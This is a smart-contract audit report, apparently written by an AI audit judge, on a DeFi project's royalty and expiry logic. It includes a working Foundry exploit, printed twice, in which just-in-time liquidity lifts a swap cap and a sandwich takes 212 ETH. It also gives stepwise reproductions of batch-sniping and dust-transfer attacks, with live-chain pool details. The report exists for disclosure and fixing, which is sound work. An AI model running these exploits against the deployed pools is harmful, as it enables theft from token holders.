     The IMD/ETH pool the deploy script wires (script/DeployEarn.s.sol: fee 10_000, tickSpacing 100, hooks address(0)) has no hook, so anyone may add a position for the length of one transaction. convertRoyalties() only refuses to run inside a PoolManager unlock; it does not stop a contract from doing, in one transaction and in separate unlocks: (1) swap ETH->IMD to push the price to just above a tick boundary, (2) add a one-tick-spacing position whose lower edge is that boundary (it is all ETH, counts fully in getLiquidity, and is left behind by the first wei of a zeroForOne swap), (3) call convertRoyalties(0), (4) remove the position, (5) swap the IMD back.

     At tick spacing 100 a position of c ETH adds about 200c of 'virtual depth', i.e. lifts the cap by about c ETH, and it is withdrawn intact, so the cost of removing the cap is only temporary capital of roughly the backlog size.

     With the cap gone the caller-chosen minImdOut=0 is the only slippage bound, and the sandwich is profitable whenever the ETH backlog exceeds roughly the pool fee (1%) of the ETH depth, i.e. twice the intended cap (two hours of capped conversions not yet run, or one larger royalty). The loss is taken by $EARN holders (75%) and feeRecipient (25%).

     On Robinhood Chain today the pool's depth by this formula is ~73.3 ETH (cap ~0.37 ETH), so a backlog above ~0.75 ETH is already attackable. The answer to 'is the depth read safe from manipulation' is therefore no for maxRoyaltySwap. (maxBuyback is not affected the same way: the $Pepes pool's hook, the v1 pad, rejects third-party liquidity - checked on a fork, modifyLiquidity reverts with HookCallFailed - so its liquidity term is fixed.)

     Fixing it without changing the design: do not derive the cap from instantaneous in-range liquidity.

     Options: an absolute per-call cap (immutable or owner-set) in addition to the bps cap; or bound the execution price against a price the hook recorded itself at the previous conversion (>= 1 hour old) and revert beyond a tolerance; or restrict who supplies minImdOut. The proof also passes if convertRoyalties reverts in this situation.

     whole finding

     State (the project's own unit-test pool): IMD/ETH pool fee 1%, spacing 100, no hook, full-range liquidity 10_000e18 at 1:1 (10,000 ETH depth, honest cap 50 ETH); hook holds 500 ETH of royalties.

     Attacker with ETH: swap ETH->IMD with sqrtPriceLimit = getSqrtPriceAtTick(-10700)+1; modifyLiquidity(tickLower -10700, tickUpper -10600, liquidityDelta 1.35e23) (~1,150 ETH, returned in step 4); convertRoyalties(0); remove the position; swap all IMD back.

     Expected: one call swaps at most ~50 ETH and the attacker loses money (as test_royalties_sandwichDoesNotPay asserts for the plain sandwich).

     Actual: maxRoyaltySwap() returns 1,237.87 ETH, all 500 ETH are swapped in the one call, and the attacker ends 212.75 ETH richer (42% of the royalties).

     Run: cd contracts && forge test --match-path test/scratch/RoyaltyCapJit.t.sol -vv -> FAIL 'one call swapped far more than 0.5% of the pool's real depth: 500e18 > 100e18'.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {PepesEarnIMD} from "src/earn/PepesEarnIMD.sol";
     import {PepesEarnToken} from "src/earn/PepesEarnToken.sol";
     import {PepesEarnRenderer} from "src/earn/PepesEarnRenderer.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     
     contract ERC20Mock {
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 a) external returns (bool) {
             allowance[msg.sender][s] = a;
             return true;
         }
     
         function transfer(address to, uint256 a) external returns (bool) {
             balanceOf[msg.sender] -= a;
             balanceOf[to] += a;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 a) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
             balanceOf[f] -= a;
             balanceOf[to] += a;
             return true;
         }
     }
     
     /// @dev Stands in for the PepesFamily v1 router/pad; only its addresses matter here.
     contract PepesRouterStub {
         function pad() external view returns (address) {
             return address(this);
         }
     }
     
     /// @notice The per-call royalty cap is 0.5% of `getLiquidity()/sqrtP` of a hookless pool. In-range liquidity can
     ///         be added for one transaction (just-in-time) by anyone, so the cap is whatever the caller wants it to be
     ///         and the whole royalty balance is swapped at a price the caller has pushed.
     contract RoyaltyCapJitTest is Test {
         PoolManager pm;
         ERC20Mock imd;
         PoolKey imdEthKey;
         PepesEarnIMD hook;
         PepesEarnToken earn;
         PoolSwapTest swapper;
         PoolModifyLiquidityTest lp;
         PoolSwapTest.TestSettings settings = PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
         address alice = makeAddr("alice");
         address attacker = makeAddr("attacker");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ERC20Mock();
             swapper = new PoolSwapTest(pm);
             lp = new PoolModifyLiquidityTest(pm);
     
             // IMD/ETH pool as on Robinhood Chain: 1% fee, tick spacing 100, no hook. 10,000 ETH of depth at 1:1.
             imdEthKey = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 100, IHooks(address(0)));
             pm.initialize(imdEthKey, TickMath.getSqrtPriceAtTick(0));
             vm.deal(address(this), 20_000 ether);
             imd.mint(address(this), 20_000e18);
             imd.approve(address(lp), type(uint256).max);
             lp.modifyLiquidity{value: 20_000 ether}(imdEthKey, ModifyLiquidityParams(-887200, 887200, 10_000e18, 0), "");
     
             PepesRouterStub pepesRouter = new PepesRouterStub();
             bytes memory initCode = abi.encodePacked(
                 type(PepesEarnIMD).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(0xFEE),
                     int24(0),
                     PepesEarnIMD.ImdEthPool(10_000, 100, address(0)),
                     address(new ERC20Mock()), // weth
                     address(new ERC20Mock()), // pepes
                     address(pepesRouter)
                 )
             );
             bytes32 h = keccak256(initCode);
             address deployed;
             for (uint256 salt;; salt++) {
                 address a = vm.computeCreate2Address(bytes32(salt), h, address(this));
                 if (uint160(a) & 0x3FFF == 0x28CC) {
                     assembly {
                         deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
                     }
                     break;
                 }
             }
             hook = PepesEarnIMD(payable(deployed));
             earn = new PepesEarnToken(address(hook), address(new PepesEarnRenderer()));
             hook.openPool(address(earn));
     
             // one holder, so royalties have someone to go to
             imd.mint(alice, 100e18);
             vm.startPrank(alice);
             imd.approve(hook.router(), type(uint256).max);
             PepesFamilyRouter(payable(hook.router())).buy(address(earn), 100e18, 0, block.timestamp);
             vm.stopPrank();
         }
     
         receive() external payable {}
     
         function test_jitLiquidityLiftsTheCap_andTheSandwichPays() public {
             vm.deal(address(hook), 500 ether); // royalty backlog: 5% of the pool's ETH depth
             uint256 honestCap = hook.maxRoyaltySwap();
             assertApproxEqRel(honestCap, 50 ether, 0.001e18);
     
             vm.deal(attacker, 20_000 ether);
             uint256 eth0 = attacker.balance;
             vm.startPrank(attacker);
             imd.approve(address(swapper), type(uint256).max);
             imd.approve(address(lp), type(uint256).max);
     
             // 1. buy IMD with ETH, stopping just above the tick -10700 boundary
             swapper.swap{value: 9_000 ether}(
                 imdEthKey, SwapParams(true, -9_000 ether, TickMath.getSqrtPriceAtTick(-10_700) + 1), settings, ""
             );
             // 2. one-tick-spacing position whose lower edge is the current price: it is all ETH (~1,150 ETH),
             //    counts fully in getLiquidity(), and is left behind by the first wei of the royalty swap
             ModifyLiquidityParams memory jit = ModifyLiquidityParams(-10_700, -10_600, 1.35e23, 0);
             lp.modifyLiquidity{value: 1_200 ether}(imdEthKey, jit, "");
             uint256 liftedCap = hook.maxRoyaltySwap();
             // 3. the "capped" conversion
             try hook.convertRoyalties(0) {} catch {}
             uint256 swapped = 500 ether - address(hook).balance;
             // 4. unwind
             jit.liquidityDelta = -jit.liquidityDelta;
             lp.modifyLiquidity(imdEthKey, jit, "");
             swapper.swap(
                 imdEthKey, SwapParams(false, -int256(imd.balanceOf(attacker)), TickMath.MAX_SQRT_PRICE - 1), settings, ""
             );
             vm.stopPrank();
     
             emit log_named_decimal_uint("honest cap (ETH)", honestCap, 18);
             emit log_named_decimal_uint("cap with JIT liquidity (ETH)", liftedCap, 18);
             emit log_named_decimal_uint("royalty ETH swapped in one call", swapped, 18);
             if (attacker.balance > eth0) emit log_named_decimal_uint("attacker profit (ETH)", attacker.balance - eth0, 18);
     
             assertLe(swapped, honestCap * 2, "one call swapped far more than 0.5% of the pool's real depth");
             assertLe(attacker.balance, eth0, "sandwiching the royalty conversion must lose money");
         }
     }

     whole proof

   • lowPermissionless convertRoyalties lets a just-in-time buyer take most of a royalty batch from existing holderscontracts/src/earn/PepesEarnIMD.sol:409

     Trades are protected from this by the routers (flush happens before the buyer receives tokens), but a royalty batch is distributed at a moment the caller chooses, to whoever holds $EARN in that instant. convertRoyalties is now permissionless, the IMD part of the balance is distributed with no cap at all, and the ETH part in steps of up to maxRoyaltySwap (about 147 IMD per call at today's pool, against a 2,000 IMD starting market cap).

     A caller can buy $EARN, call convertRoyalties and claim, and sell in one transaction; the only cost is the 4%+4% pool fee on the notional (there is no LP fee, so price impact is returned). It pays whenever the holders' share of the batch exceeds roughly 8% of the value of the eligible supply, which is the state right after launch (few tokens outside the pool) or after royalties have been left unconverted for a while. Long-term holders lose the diverted share.

     Fix options that keep the design: stream a converted batch over time instead of crediting it in one step (e.g. release it linearly over the next interval), or cap the IMD amount credited per call relative to the eligible supply's value, so a single call never credits more than the round-trip fee can protect.

     whole finding

     In contracts/test/PepesEarn.t.sol's setup: alice buys with 100 IMD and bob with 10 IMD (eligibleSupply = 100.30 EARN); 60 IMD of royalties sit on the hook (imd.transfer(hook, 60e18)). dan, in one transaction: router.buy(earn, 150e18, 0, deadline) (receives 121.60 EARN); hook.convertRoyalties(0); earn.claim(); router.sell(earn, 121.60e18, 0, deadline).

     Expected: the 45 IMD holder share goes to alice and bob, who held when the royalties were paid; dan loses his 8% in fees.

     Actual: dan ends +12.90 IMD after all fees (about 24.7 IMD of the 45 IMD credited to him), alice and bob receive the rest.

     whole reproduction

   • lowFix for #8 is partial: a 1-wei transfer from anyone still resets a wallet's 30-day timer and cancels its expirycontracts/src/earn/PepesEarnToken.sol:211

     _moved now ignores zero amounts, but any non-zero amount received still sets lastActive[to]. A third party holding any $EARN can therefore keep another wallet 'active' indefinitely at a cost of 1 wei of $EARN per 30 days, although that wallet has neither claimed nor moved its tokens, which is the stated expiry rule ("a wallet that has neither claimed nor moved any $EARN").

     Every time, the wallet's already-expired rewards become un-recyclable again and the buyback reserve is not funded; it can also be used to front-run a recycle()/recycleMany() call for a specific holder. expiredRewardsOf relies on the balance being unchanged since lastActive, so the receive side cannot simply stop updating the timestamp; a fix that keeps the design would track the receiver's timer separately from the balance snapshot (e.g. keep a per-holder 'balance changed at' time for the recent-rewards calculation, and reset the inactivity timer only on claim or on outgoing transfers), or settle the receiver's expired amount into the reserve before an incoming transfer resets the timer.

     whole finding

     alice buys with 100 IMD, bob buys with 100 IMD, warp 31 days: earn.expiredRewardsOf(alice) = 5999999999999999999. bob calls earn.transfer(alice, 1).

     Expected: alice has still neither claimed nor moved, so her expired rewards stay recyclable (as they do after transferFrom(alice, dan, 0)).

     Actual: earn.expiredRewardsOf(alice) == 0 and recycle(alice) moves nothing; repeating the 1-wei transfer every 30 days prevents her rewards from ever expiring.

7. reviewed
   #2Audit judgeClaude5 findings · 1 high

   afterAudit math, Audit permissions, Audit economics, Audit flow

   Review complete. The findings file is at the repository root with five entries, and the scratch tests are removed.

   Verdict on the ten previous findings

   • #1, #2, #7: The cap and hourly interval are in place, but the cap is not safe. The ETH leg reads the IMD/ETH pool's in-range liquidity at call time, and that pool has no hook, so anyone can add a one-tick position just before calling and remove it after. All three specialist proofs fail on this commit: one call swapped the full 500 ETH backlog against a 50 ETH honest cap, and the attacker ended up to 212 ETH richer. Live depth today is about 73 ETH, so a backlog near 0.75 ETH is already attackable. The buyback cap is not exposed the same way because the v1 hook rejects outside liquidity. Kept as one high with the strongest proof attached.
   • #3, #4, #5, #6: Fixed. WETH unwrap and IMD split work in the unit suite, the 30-day boundary tests are correct, the mirror is deployed and linked in the token constructor, and openPool checks $Pepes and the v1 router.
   • #8: Fixed only for zero amounts. A 1-wei transfer from anyone still resets the recipient's timer. Reproduced: alice's 6 IMD of expired rewards drop to zero after bob sends 1 wei, and stay at zero through 92 days of repeated dusting. Kept as low, three duplicates merged.

   New issues found in the new code

   • Low: because anyone chooses when convertRoyalties distributes, a buyer can buy $EARN, convert, claim and sell in one transaction. Reproduced with a 60 IMD batch: the sniper netted 12.9 IMD after fees.
   • Info: an empty convertRoyalties call still writes the hourly timestamp, so a 1 ETH royalty arriving a second later waits the full hour. Reproduced.
   • Info: the fork test never sends WETH to the hook. I checked the configured WETH on chain: it is a proxy whose implementation exposes withdraw, so the risk did not materialise, but the path is untested against the real contract.

   Dropped

   • The claim that buybackAndBurnPepes over-deducts the reserve on a partial fill. It needs the buyback to exhaust the whole $Pepes position, which a 2%-of-depth trade cannot do.

   The project's own 33 tests pass on this commit. The fork suite was not run; the live reads above were done with cast against robinhood.drpc.org.

   ran onclaude · claude-fable-5-1 · 23 turns · 13m 42s · 322 in · 28.3K out · 1.1M cached

   submission6609e837f6273f23b9ae3cf82c54d9b9fd9ec89a7ccd2fc04545e551d2fd585b

   device468e82a89b9bfe188ef46b055e2ea554bde626cc162630c20effb0fcc7e13fed

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing

   • highmaxRoyaltySwap reads spot in-range liquidity of the hookless IMD/ETH pool: just-in-time liquidity lifts the per-call cap, the whole royalty backlog is swapped in one call and the sandwich pays (fix focontracts/src/earn/PepesEarnIMD.sol:427

     convertRoyalties() sells up to maxRoyaltySwap() of the hook's ETH with sqrtPriceLimitX96 = MIN_SQRT_PRICE+1 and a caller-chosen minImdOut (0 allowed). The cap is 0.5% of getLiquidity(id)*2^96/sqrtP, i.e. of the liquidity active at the current tick at the instant of the call.

     The IMD/ETH pool is a plain v4 pool (fee 10000, tickSpacing 100, hooks = address(0) in script/DeployEarn.s.sol and deployments/robinhood-v3.json), so anyone can add a concentrated position for the duration of one transaction and remove it afterwards.

     The Unlocked guard only refuses a call made from inside a PoolManager unlock; an attacker uses separate unlocks (swap, add liquidity, convertRoyalties, remove liquidity, swap back) in one transaction, and on Robinhood Chain there is no public mempool to compete with.

     Two assumptions of the fix break together: the swap is no longer bounded by the depth that actually rests in the pool, and the 1% pool fee the NatSpec (lines 99-100) relies on is paid to the attacker's own JIT position. The attacker pushes the IMD price up, makes the hook sell its ENTIRE ETH balance into the attacker's liquidity at the pushed price, and unwinds.

     The attack pays whenever the royalty ETH held by the hook exceeds roughly the pool fee (1%) of the pool's real ETH depth, i.e. about two hours of capped conversions. Live state at block 80039867 (read via extsload on 0x8366a39C...): L = 0x4f861bb1c0351eb101, sqrtPriceX96 = 0x13ef96d80c72e5fc2a538720d6, so the formula gives 73.6 ETH of depth and a cap of 0.37 ETH per hour; a backlog of ~0.75 ETH is already attackable, and the hourly cap itself makes backlogs accumulate.

     Loss falls on $EARN holders (75%) and feeRecipient (25%). A JIT position of one tick spacing that is all ETH costs the attacker only temporary capital of about the backlog size and is withdrawn intact.

     The same spot read also overstates depth without any attacker liquidity wherever resting liquidity is uneven (stop the push just inside a thick band). maxBuyback() in PepesEarnToken uses the same formula but is not exposed the same way: the $Pepes pool's v1 hook rejects third-party liquidity, so its L is fixed and the 2%-vs-4%-fee argument holds.

     The existing test test_royalties_sandwichDoesNotPay only sandwiches with swaps and never changes pool liquidity, which is why it passes. Fix, keeping the permissionless/hourly/capped design: do not derive the cap from liquidity that can be added in the same transaction.

     Apply min(0.5% of live depth, absolute per-call ETH ceiling) where the ceiling is a constant or an owner-set value inside hard bounds, and additionally bound the execution price: record sqrtPriceX96 at each successful conversion (so the reference is at least ROYALTY_INTERVAL old) and pass a sqrtPriceLimitX96 derived from it (or skip the ETH leg without swapping when the current price is outside a tolerance band).

     A liquidity snapshot from the previous call alone is not enough, because the attacker can add the position around that call too. Reverting convertRoyalties in the JIT situation also makes the attached proof pass.

     whole finding

     State (the project's own unit-test pool): IMD/ETH pool fee 1%, spacing 100, no hook, full-range liquidity 10_000e18 at 1:1 (10,000 ETH depth, honest cap = maxRoyaltySwap() = 50 ETH); one $EARN holder; hook holds 500 ETH of royalties (vm.deal).

     Attacker, one transaction, outside any unlock: (1) swap 9,000 ETH -> IMD with sqrtPriceLimit = getSqrtPriceAtTick(-10700)+1; (2) PoolModifyLiquidityTest.modifyLiquidity(tickLower -10700, tickUpper -10600, liquidityDelta 1.35e23) (~1,150 ETH, all returned in step 4); (3) hook.convertRoyalties(0); (4) remove the position; (5) swap all IMD back to ETH.

     Expected (what the #1 fix claims): step 3 swaps at most ~50 ETH and the attacker ends with less ETH than they started.

     Actual: maxRoyaltySwap() returns 1,237.87 ETH after step 2, step 3 swaps all 500 ETH in the one call, and the attacker ends 212.75 ETH richer (42% of the royalties, taken from holders and feeRecipient).

     Run: cd contracts && forge test --offline --match-path test/scratch/RoyaltyCapJit.t.sol -vv -> FAIL "one call swapped far more than 0.5% of the pool's real depth: 500000000000000000000 > 100000000000000000000".

     The two other specialist proofs (narrow 200-tick band around the pushed tick, 20 ETH backlog on a 100 ETH pool; 400,000e18 band on a 10,000 ETH pool) fail the same way with profits of 3.77 ETH and 145.68 ETH respectively; all three were re-run by the judge on this commit.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {PepesEarnIMD} from "src/earn/PepesEarnIMD.sol";
     import {PepesEarnToken} from "src/earn/PepesEarnToken.sol";
     import {PepesEarnRenderer} from "src/earn/PepesEarnRenderer.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     
     contract ERC20Mock {
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 a) external returns (bool) {
             allowance[msg.sender][s] = a;
             return true;
         }
     
         function transfer(address to, uint256 a) external returns (bool) {
             balanceOf[msg.sender] -= a;
             balanceOf[to] += a;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 a) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
             balanceOf[f] -= a;
             balanceOf[to] += a;
             return true;
         }
     }
     
     /// @dev Stands in for the PepesFamily v1 router/pad; only its addresses matter here.
     contract PepesRouterStub {
         function pad() external view returns (address) {
             return address(this);
         }
     }
     
     /// @notice The per-call royalty cap is 0.5% of `getLiquidity()/sqrtP` of a hookless pool. In-range liquidity can
     ///         be added for one transaction (just-in-time) by anyone, so the cap is whatever the caller wants it to be
     ///         and the whole royalty balance is swapped at a price the caller has pushed.
     contract RoyaltyCapJitTest is Test {
         PoolManager pm;
         ERC20Mock imd;
         PoolKey imdEthKey;
         PepesEarnIMD hook;
         PepesEarnToken earn;
         PoolSwapTest swapper;
         PoolModifyLiquidityTest lp;
         PoolSwapTest.TestSettings settings = PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
         address alice = makeAddr("alice");
         address attacker = makeAddr("attacker");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ERC20Mock();
             swapper = new PoolSwapTest(pm);
             lp = new PoolModifyLiquidityTest(pm);
     
             // IMD/ETH pool as on Robinhood Chain: 1% fee, tick spacing 100, no hook. 10,000 ETH of depth at 1:1.
             imdEthKey = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 100, IHooks(address(0)));
             pm.initialize(imdEthKey, TickMath.getSqrtPriceAtTick(0));
             vm.deal(address(this), 20_000 ether);
             imd.mint(address(this), 20_000e18);
             imd.approve(address(lp), type(uint256).max);
             lp.modifyLiquidity{value: 20_000 ether}(imdEthKey, ModifyLiquidityParams(-887200, 887200, 10_000e18, 0), "");
     
             PepesRouterStub pepesRouter = new PepesRouterStub();
             bytes memory initCode = abi.encodePacked(
                 type(PepesEarnIMD).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(0xFEE),
                     int24(0),
                     PepesEarnIMD.ImdEthPool(10_000, 100, address(0)),
                     address(new ERC20Mock()), // weth
                     address(new ERC20Mock()), // pepes
                     address(pepesRouter)
                 )
             );
             bytes32 h = keccak256(initCode);
             address deployed;
             for (uint256 salt;; salt++) {
                 address a = vm.computeCreate2Address(bytes32(salt), h, address(this));
                 if (uint160(a) & 0x3FFF == 0x28CC) {
                     assembly {
                         deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
                     }
                     break;
                 }
             }
             hook = PepesEarnIMD(payable(deployed));
             earn = new PepesEarnToken(address(hook), address(new PepesEarnRenderer()));
             hook.openPool(address(earn));
     
             // one holder, so royalties have someone to go to
             imd.mint(alice, 100e18);
             vm.startPrank(alice);
             imd.approve(hook.router(), type(uint256).max);
             PepesFamilyRouter(payable(hook.router())).buy(address(earn), 100e18, 0, block.timestamp);
             vm.stopPrank();
         }
     
         receive() external payable {}
     
         function test_jitLiquidityLiftsTheCap_andTheSandwichPays() public {
             vm.deal(address(hook), 500 ether); // royalty backlog: 5% of the pool's ETH depth
             uint256 honestCap = hook.maxRoyaltySwap();
             assertApproxEqRel(honestCap, 50 ether, 0.001e18);
     
             vm.deal(attacker, 20_000 ether);
             uint256 eth0 = attacker.balance;
             vm.startPrank(attacker);
             imd.approve(address(swapper), type(uint256).max);
             imd.approve(address(lp), type(uint256).max);
     
             // 1. buy IMD with ETH, stopping just above the tick -10700 boundary
             swapper.swap{value: 9_000 ether}(
                 imdEthKey, SwapParams(true, -9_000 ether, TickMath.getSqrtPriceAtTick(-10_700) + 1), settings, ""
             );
             // 2. one-tick-spacing position whose lower edge is the current price: it is all ETH (~1,150 ETH),
             //    counts fully in getLiquidity(), and is left behind by the first wei of the royalty swap
             ModifyLiquidityParams memory jit = ModifyLiquidityParams(-10_700, -10_600, 1.35e23, 0);
             lp.modifyLiquidity{value: 1_200 ether}(imdEthKey, jit, "");
             uint256 liftedCap = hook.maxRoyaltySwap();
             // 3. the "capped" conversion
             try hook.convertRoyalties(0) {} catch {}
             uint256 swapped = 500 ether - address(hook).balance;
             // 4. unwind
             jit.liquidityDelta = -jit.liquidityDelta;
             lp.modifyLiquidity(imdEthKey, jit, "");
             swapper.swap(
                 imdEthKey, SwapParams(false, -int256(imd.balanceOf(attacker)), TickMath.MAX_SQRT_PRICE - 1), settings, ""
             );
             vm.stopPrank();
     
             emit log_named_decimal_uint("honest cap (ETH)", honestCap, 18);
             emit log_named_decimal_uint("cap with JIT liquidity (ETH)", liftedCap, 18);
             emit log_named_decimal_uint("royalty ETH swapped in one call", swapped, 18);
             if (attacker.balance > eth0) emit log_named_decimal_uint("attacker profit (ETH)", attacker.balance - eth0, 18);
     
             assertLe(swapped, honestCap * 2, "one call swapped far more than 0.5% of the pool's real depth");
             assertLe(attacker.balance, eth0, "sandwiching the royalty conversion must lose money");
         }
     }

     whole proof

   • lowReceiving any non-zero $EARN, even 1 wei, still counts as the recipient's activity: a third party can keep any wallet's rewards from ever expiring (fix for #8 covers only amount == 0)contracts/src/earn/PepesEarnToken.sol:211

     _moved() now ignores amount == 0, but every non-zero transfer still stamps lastActive[to] for a recipient who did nothing.

     Sending 1 wei of $EARN needs no allowance from the victim and costs the sender 1e-18 of an NFT plus gas. expiredRewardsOf() returns 0 while block.timestamp <= lastActive + 30 days, so one dust transfer per 30 days keeps an abandoned wallet's unclaimed rewards out of the buyback reserve indefinitely, and a single dust transfer cancels a pending recycle()/recycleMany() for a given holder.

     The documented rule is 'a wallet that has neither claimed nor moved any $EARN', i.e. the holder's own actions. No holder loses funds (the affected holder is favoured); the $Pepes buyback-and-burn is what can be starved by anyone, hence low.

     Fix that keeps the expiry math valid: stamp lastActive[to] only when the recipient acted or bought (msg.sender == to on the ERC20 path, msgSender == to on the NFT path, or isExcluded(from), i.e. a pool/router buy), and otherwise only initialise it when it is still 0 so the last == 0 guard keeps working. expiredRewardsOf multiplies per-share growth since the cutoff by the current balance; an un-stamped inbound transfer can only raise that balance, so recent is then over-estimated in the holder's favour, while outgoing transfers and claims still mark the holder active.

     whole finding

     Unit setup (contracts/test/PepesEarn.t.sol): alice buys with 100 IMD, bob buys with 100 IMD, warp 31 days. expiredRewardsOf(alice) = 5999999999999999999. bob calls earn.transfer(alice, 1).

     Expected: alice has neither claimed nor moved, so her expired rewards stay recyclable (as they do after transferFrom(alice, dan, 0) in test_expiry_zeroTransferDoesNotCountAsActivity).

     Actual: lastActive[alice] == block.timestamp, expiredRewardsOf(alice) == 0, recycle(alice) returns 0; repeating the 1-wei transfer at +30d and +60d keeps expiredRewardsOf(alice) == 0 at +92 days.

     Reproduced by the judge in a Foundry test on this commit (test_judge_dustTransferResetsTimer).

     whole reproduction

   • lowA just-in-time buyer can take most of a royalty batch from existing holders because anyone chooses when convertRoyalties distributes itcontracts/src/earn/PepesEarnIMD.sol:409

     Trade fees are protected from this: the routers flush before the buyer receives tokens. A royalty batch is instead credited pro rata to whoever holds $EARN at the instant convertRoyalties runs, and the caller picks that instant. The IMD part is distributed with no cap at all; the ETH part in steps of maxRoyaltySwap (about 147 IMD per call at today's pool, against a ~2,000 IMD market cap).

     A caller can buy $EARN, call convertRoyalties, claim and sell in one transaction; the only cost is the 4%+4% hook fee on the notional (LP fee is 0, so price impact is returned on the sell, and part of the buy's own 3% holder fee is recovered on the next flush).

     It pays whenever the holders' share of the batch exceeds roughly 8% of the value of the eligible supply, which is the state right after launch (few tokens outside the pool) or whenever royalties have been left unconverted for a while. Long-term holders lose the diverted share; no protocol funds are lost, hence low.

     Mitigation that keeps the design: release a converted batch linearly over the following ROYALTY_INTERVAL (stream it) instead of crediting it in one step, or cap the IMD credited per call relative to the eligible supply's value so one call never credits more than the round-trip fee can protect.

     whole finding

     Unit setup: alice buys with 100 IMD and bob with 10 IMD (eligibleSupply = 100.30 EARN); 60 IMD of royalties sit on the hook (imd.transfer(hook, 60e18)). dan, in one transaction: router.buy(earn, 150e18, 0, deadline) (receives 121.60 EARN); hook.convertRoyalties(0); earn.claim(); router.sell(earn, 121.60e18, 0, deadline).

     Expected: the 45 IMD holder share goes to alice and bob, who held when the royalties were paid, and dan loses his 8% in fees.

     Actual: dan claims 24.66 IMD of the 45 IMD batch and ends +12.90 IMD after all fees; alice gains 26.63 IMD.

     Reproduced by the judge in a Foundry test on this commit (test_judge_royaltyBatchSniping).

     whole reproduction

   • infoconvertRoyalties consumes the hourly slot even when it converts nothing (empty call, or cap == 0 when the IMD/ETH price is outside all positions)contracts/src/earn/PepesEarnIMD.sol:400

     lastRoyaltyConversion is written before the balances are looked at, and the function does not revert when there is nothing to do (no WETH, no IMD, ethIn == 0, minImdOut == 0). Anyone can therefore burn the hour with an empty call, and royalties that arrive right after wait a full ROYALTY_INTERVAL; a caller repeating the empty call at each hour boundary keeps conversion permanently one hour behind.

     The same happens whenever maxRoyaltySwap() is 0 (IMD/ETH pool not initialised under the configured key, which the constructor does not verify, or no liquidity in range at the current tick): each call records the timestamp, swaps nothing, and the ETH stays in the hook, which has no other way out. buybackAndBurnPepes handles the same case correctly (reverts BadAmount before writing lastBuyback).

     Fix: write lastRoyaltyConversion only when the call moved something (wethBal, imdBal or ethIn non-zero), or revert otherwise.

     whole finding

     Unit setup, token opened, hook holds 0 ETH / 0 WETH / 0 IMD at time T. carol calls convertRoyalties(0): returns 0 and lastRoyaltyConversion == T.

     At T+1 a marketplace pays 1 ETH of royalties to the hook.

     Expected: convertRoyalties(0) can convert it.

     Actual: convertRoyalties(0) reverts TooSoon until T+3600.

     Reproduced by the judge in a Foundry test on this commit (test_judge_emptyConvertBurnsHour).

   • infoThe fork test never exercises the real Robinhood WETH unwrap that every convertRoyalties call depends oncontracts/src/earn/PepesEarnIMD.sol:403

     convertRoyalties unwraps any WETH balance before touching the ETH or IMD balances, so a reverting withdraw() at the configured WETH address would stop all royalty conversion (ETH and IMD legs included) as soon as anyone sends that token to the hook, and the contract has no other way to remove it. test/PepesEarn.fork.t.sol deploys with the real WETH (0x0Bd7D308f8E1639FAb988df18A8011f41EAcAD73) but only tests an ETH royalty; the unit test uses a MockWETH.

     Judge check on chain (robinhood.drpc.org, block 80039867): that address is an EIP-1967 proxy (implementation 0xc6b81b429797e0f555440b70cd99e032d7ae947e) whose code contains the withdraw(uint256) selector 0x2e1a7d4d, and an eth_call of withdraw(0) from the zero address reverts with 'ERC20: burn from the zero address', the aeWETH behaviour, so withdraw is present and the #3 fix is expected to work on the live chain. This is a coverage gap, not a defect in the code as deployed.

